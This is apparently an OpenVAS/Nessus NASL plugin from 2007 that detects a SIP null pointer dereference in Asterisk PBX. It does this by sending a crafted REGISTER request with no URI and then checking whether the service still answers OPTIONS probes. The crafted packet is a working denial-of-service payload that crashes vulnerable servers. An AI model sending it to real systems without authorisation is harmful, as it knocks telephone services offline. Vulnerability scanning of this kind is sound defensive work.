#
# Script Written By Ferdy Riphagen 
# Script distributed under the GNU GPLv2 License.
#
# Note:
# Because of many systems using safe_asterisk to watchdog 
# the asterisk running process, this check could be 
# false negative prone.
#

if (description) {
 script_id(9999991);
 script_version("$Revision: 1.0 $");
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"risk_factor", value:"Medium");

 name = "Asterisk PBX NULL Pointer Dereference Overflow";
 script_name(name);
 desc = "
Synopsis :

The host contains an service that is prone to a remote buffer overflow.

Description :

The remote host appears to be runnning Asterisk PBX, an open-source
telephone system. 

The application suffers from a null pointer dereference overflow in
the SIP service. When sending an mailformed SIP packet with no URI and 
version in the request an attacker can trigger a Denial of Service and 
shutdown the application resulting in a loss of availability. 

See also :

http://labs.musecurity.com/advisories/MU-200703-01.txt
http://asterisk.org/node/48320
http://asterisk.org/node/48319
http://www.kb.cert.org/vuls/id/228032

Solution :

Upgrade to Asterisk PBX release 1.4.1 or 1.2.16.

Risk factor :

Medium / CVSS Base Score : 5  
(AV:R/AC:L/Au:NR/C:N/A:C/I:N/B:A)";
 script_description(desc);
 summary = "Detect a null pointer dereference overflow in Asterisk PBX";
 script_summary(summary);
 script_category(ACT_DENIAL);
 script_family("Denial of Service");
 script_copyright("This script is Copyright (C) 2007 Ferdy Riphagen");
 
 script_dependencies("sip_detection.nasl");
 script_require_keys("Services/udp/sip");
 exit(0);
}

function get_sip_banner(port) {
    local_var soc, r, opt,  banner;
    global_var port;

    if (islocalhost()) soc = open_sock_udp(port);
    else soc = open_priv_sock_udp(sport:5060, dport:port);
    if (!soc) return NULL;

    opt = string(
        "OPTIONS sip:user@", get_host_name(), " SIP/2.0", "\r\n",
        "Via: SIP/2.0/UDP ", this_host(), ":", port, "\r\n",
        "To: User <sip:user", get_host_name(), ":", port, ">\r\n",
        "From: OpenVAS <sip:openvas@", this_host(), ":", port, ">\r\n",
        "Call-ID: ", rand(), "\r\n",
        "CSeq: ", rand(), " OPTIONS\r\n",
        "Contact: OpenVAS <sip:openvas@", this_host(), ">\r\n",
        "Max-Forwards: 10\r\n",
	"Accept: application/sdp\r\n",
        "Content-Length: 0\r\n\r\n");

    send(socket:soc, data:opt);
    r = recv(socket:soc, length:1024);
    if ("SIP/2.0" >< r && ("Server:" >< r)) {
        banner = egrep(pattern:'^Server:', string:r);
        banner = substr(banner, 8);
    }
    
    else if ("SIP/2.0" >< r && ("User-Agent" >< r)) {
        banner = egrep(pattern:'^User-Agent', string:r);
        banner = substr(banner, 12);
    }
    
    if (!isnull(banner)) return banner;
    return NULL;
}

function sip_send_recv(port, data) {
    local_var r, soc;
    global_var port, data;

    if (islocalhost()) soc = open_sock_udp(port);
    else soc = open_priv_sock_udp(sport:5060, dport:port);
    if (!soc) return NULL;

    send(socket:soc, data:data);
    r = recv(socket:soc, length:1024);
    if (!isnull(r)) return r;
    return NULL;
}

port = get_kb_item("Services/udp/sip");
if (!port) port = 5060;

option = string(
    "OPTIONS sip:user@", get_host_name(), " SIP/2.0", "\r\n",
    "Via: SIP/2.0/UDP ", this_host(), ":", port, "\r\n",
    "To: User <sip:user@", get_host_name(), ":", port, ">\r\n",
    "From: OpenVAS <sip:openvas@", this_host(), ":", port, ">\r\n",
    "Call-ID: ", rand(), "\r\n",
    "CSeq: ", rand(), " OPTIONS\r\n",
    "Contact: OpenVAS <sip:openvas@", this_host(), ">\r\n",
    "Max-Forwards: 10\r\n",
    "Accept: application/sdp\r\n",
    "Content-Length: 0\r\n\r\n");

bad_register = string(
    "REGISTER\r\n",
    "Via: SIP/2.0/UDP ", this_host(), ":", port, "\r\n",
    "To: User <sip:user@", get_host_name(), ":", port, ">\r\n",
    "From: OpenVAS <sip:openvas@", this_host(), ":", port, ">\r\n",
    "Call-ID: ", rand(), "\r\n",
    "CSeq: ", rand(), " OPTIONS\r\n",
    "Contact: OpenVAS <sip:openvas@", this_host(), ">\r\n",
    "Max-Forwards: 0\r\n",
    "Accept: application/sdp\r\n",
    "Content-Length: 0\r\n\r\n");

banner = get_sip_banner(port:port);
if ("Asterisk PBX" >!< banner) exit(0);

exp = sip_send_recv(port:port, data:bad_register);
if (isnull(exp)) {
    res = sip_send_recv(port:port, data:option);
    if (isnull(res)) {
        security_hole(port);
        exit(0);
    }
}
